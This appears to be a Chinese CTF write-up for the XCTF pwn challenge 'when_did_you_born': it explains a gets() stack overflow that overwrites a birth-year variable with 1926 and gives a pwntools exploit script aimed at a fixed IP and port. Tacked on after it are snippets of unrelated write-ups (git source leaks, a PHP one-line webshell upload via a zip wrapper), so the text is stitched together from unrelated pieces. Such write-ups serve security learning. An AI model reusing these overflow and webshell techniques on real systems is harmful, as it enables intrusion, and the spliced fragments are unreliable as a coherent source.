攻防世界 when did you

2022-07-22 09:18:09 字數 1237 閱讀 4502

checksec when_did_you_born

arch: amd64-64-little

relro: partial relro

stack: canary found

nx: nx enabled

pie: no pie (0x400000)

用ida64開啟此二進位制檔案,找到main函式f5

注意到乙個棧溢位的常見函式gets()

分析一下**邏輯。首先需要輸入出生日期,且不能等於1926;然後輸入姓名;輸入姓名後還需確認出生年份要等於1926。

這裡的gets()函式存在棧溢位漏洞,我們點選變數v4檢視一下棧

首先通過rsp和rbp可以知道v4和v5的位址,v4位於棧頂,v5偏移0x08

所以可以確定v4的部分

繞過方法就是,利用棧溢位漏洞將v4填充8個字元後,跟上1926。這樣的話v5的部分就會被覆蓋成1926,通過判斷,從而獲取flag。

exp如下

# exp.py

from pwn import *

# 連線指定ip及埠,題目給定

io = remote('220.249.52.133', 42542)

# 只要不是1926即可

io.sendline("1999")

# 傳送資料,佔滿8個字元後接1926的二進位制數

io.sendline('a'*8+p64(1926))

# 互動

io.interactive()

執行:python exp.py,結果為

攻防世界mfw 攻防世界 Web mfw

題目資訊 image.png 工具 githack,dirsearch 知識點 git漏洞 審計 開啟題目場景,檢查 發現這樣乙個頁面 image.png 訪問.git目錄,疑似存在git原始碼洩露 image.png 再用dirsearch掃瞄,發現git原始碼洩露 使用 githack獲取原始碼...

攻防世界Web lottery

開心!雖然第一次遇到git原始碼洩露寫了好久,但是寫出來了就很開心 開啟介面我們知道,要拿到flag,就要贏到足夠的錢,其實一開始我以為可以找到乙個地方直接修改餘額什麼的,把網頁源 中的檔案看了幾個都沒發現突破口 然後又沒思路了 嘗試了一下robots.txt,想看看有沒有什麼檔案,然後發現了 瞬間...

攻防世界 xctf Guess writeup

本題的解析官網上有,這裡是乙個自動化的指令碼,完成的是自動上傳乙個ant.jpg的檔案 ant.jpg是乙個ant.zip壓縮包重新命名的檔案,裡面是乙個ant.php的一句話木馬 執行返回的是在web後台這個檔案重新命名後的檔案的url。可通過zip偽協議訪問這個木馬。指令碼如下 import r...